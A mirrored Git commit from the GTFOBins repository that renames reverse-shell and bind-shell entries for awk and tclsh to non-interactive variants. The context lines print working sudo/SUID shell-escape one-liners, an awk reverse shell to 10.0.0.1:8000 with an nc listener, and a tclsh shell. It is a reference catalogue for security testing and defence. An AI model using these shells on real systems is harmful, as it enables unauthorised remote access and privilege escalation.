mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-07-25 19:54:14 +02:00
Introduce non-interactive reverse and bind shells
This commit is contained in:
@@ -6,7 +6,7 @@ functions:
|
||||
- code: sudo awk 'BEGIN {system("/bin/sh -p")}'
|
||||
suid-limited:
|
||||
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
|
||||
reverse-shell:
|
||||
reverse-shell-non-interactive:
|
||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||
code: |
|
||||
RHOST=10.0.0.1
|
||||
@@ -15,7 +15,7 @@ functions:
|
||||
s = "/inet/tcp/0/" RHOST "/" RPORT;
|
||||
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
||||
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
||||
bind-shell:
|
||||
bind-shell-non-interactive:
|
||||
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
|
||||
code: |
|
||||
LPORT=8000
|
||||
|
@@ -12,7 +12,7 @@ functions:
|
||||
- code: |
|
||||
./tclsh
|
||||
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
||||
reverse-shell:
|
||||
reverse-shell-non-interactive:
|
||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||
code: |
|
||||
export RHOST=10.0.0.1
|
||||
|
Reference in New Issue
Block a user